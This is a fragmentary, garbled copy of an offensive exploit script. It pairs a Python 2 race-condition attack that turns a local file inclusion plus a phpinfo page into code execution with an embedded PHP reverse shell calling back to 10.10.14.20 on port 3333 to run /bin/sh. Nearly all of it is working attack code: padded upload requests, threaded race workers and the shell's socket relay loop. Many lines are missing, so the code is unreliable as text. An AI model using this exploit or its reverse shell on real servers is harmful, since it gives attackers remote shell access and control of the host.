Valueerror(no php tmp_name in phpinfo output)

# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf

$ip = '10.10.14.20'; // CHANGE THIS

$port = 3333; //CHANGE THIS

$shell = 'uname -a; w; id; /bin/sh -i';

// Daemonise ourself if possible to avoid zombies later

// pcntl_fork is hardly ever available, but will allow us to daemonise

// our php process and avoid zombies. Worth a try...

if (function_exists('pcntl_fork')) {

// Fork and have the parent process exit

printit("ERROR: Can't fork");

// Make the current process a session leader

// Will only succeed if we forked

if (posix_setsid() == -1) {

printit("Error: Can't setsid()");

printit("WARNING: Failed to daemonise. This is quite common and not fatal.");

// Change to a safe directory

// Remove any umask we inherited

// Do the reverse shell...

// Open reverse connection

$sock = fsockopen($ip, $port, $errno, $errstr, 30);

printit("$errstr ($errno)");

0 => array("pipe", "r"), // stdin is a pipe that the child will read from

1 => array("pipe", "w"), // stdout is a pipe that the child will write to

2 => array("pipe", "w") // stderr is a pipe that the child will write to

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {

printit("ERROR: Can't spawn shell");

// Set everything to non-blocking

// Reason: Occsionally reads will block, even though stream_select tells us they won't

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

// Check for end of TCP connection

printit("ERROR: Shell connection terminated");

// Check for end of STDOUT

printit("ERROR: Shell process terminated");

// Wait until a command is end down $sock, or some

// command output is available on STDOUT or STDERR

$read_a = array($sock, $pipes[1], $pipes[2]);

$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send

// data to process's STDIN

if (in_array($sock, $read_a)) {

if ($debug) printit("SOCK READ");

$input = fread($sock, $chunk_size);

if ($debug) printit("SOCK: $input");

fwrite($pipes[0], $input);

// If we can read from the process's STDOUT

// send data down tcp connection

if (in_array($pipes[1], $read_a)) {

if ($debug) printit("STDOUT READ");

$input = fread($pipes[1], $chunk_size);

if ($debug) printit("STDOUT: $input");

// If we can read from the process's STDERR

// send data down tcp connection

if (in_array($pipes[2], $read_a)) {

if ($debug) printit("STDERR READ");

$input = fread($pipes[2], $chunk_size);

if ($debug) printit("STDERR: $input");

// Like print, but does nothing if we've daemonised ourself

// (I can't figure out how to redirect STDOUT like a proper daemon)

function printit ($string) {

REQ1_DATA="""-----------------------------7dbff1ded0714\r

Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r

Content-Type: text/plain\r

-----------------------------7dbff1ded0714--\r""" % PAYLOAD

REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r

Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r

HTTP_ACCEPT: """ + padding + """\r

HTTP_USER_AGENT: """+padding+"""\r

HTTP_ACCEPT_LANGUAGE: """+padding+"""\r

HTTP_PRAGMA: """+padding+"""\r

Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r

%s""" %(len(REQ1_DATA),host,REQ1_DATA)

#modify this to suit the LFI script

LFIREQ="""GET /browse.php?file=%s HTTP/1.1\r

User-Agent: Mozilla/4.0\r

Proxy-Connection: Keep-Alive\r

return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

i = d.index("[tmp_name] =>")

s2.send(lfireq % (fn, host))

class ThreadWorker(threading.Thread):

def __init__(self, e, l, m, *args):

threading.Thread.__init__(self)

while not self.event.is_set():

if counter >= self.maxattempts:

x = phpInfoLFI(*self.args)

print "\nGot it! Shell created in /tmp/g"

def getOffset(host, port, phpinforeq):

"""Gets offset of tmp_name in the php output"""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

if i.endswith("0\r\n\r\n"):

i = d.find("[tmp_name] =>")

raise ValueError("No php tmp_name in phpinfo output")

print "found %s at %i" % (d[i:i+10],i)

print "LFI With PHPInfo()"

print "Usage: %s host [port] [threads]" % sys.argv[0]

host = socket.gethostbyname(sys.argv[1])

print "Error with hostname %s: %s" % (sys.argv[1], e)

print "Error with port %d: %s" % (sys.argv[2], e)

poolsz = int(sys.argv[3])

print "Error with poolsz %d: %s" % (sys.argv[3], e)

print "Getting initial offset...",

reqphp, tag, reqlfi = setup(host, port)

offset = getOffset(host, port, reqphp)

print "Spawning worker pool (%d)..." % poolsz

for i in range(0,poolsz):

tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))

if counter >= maxattempts:

except KeyboardInterrupt:

print "\nTelling threads to shutdown..."

print "Don't forget to modify the LFI URL"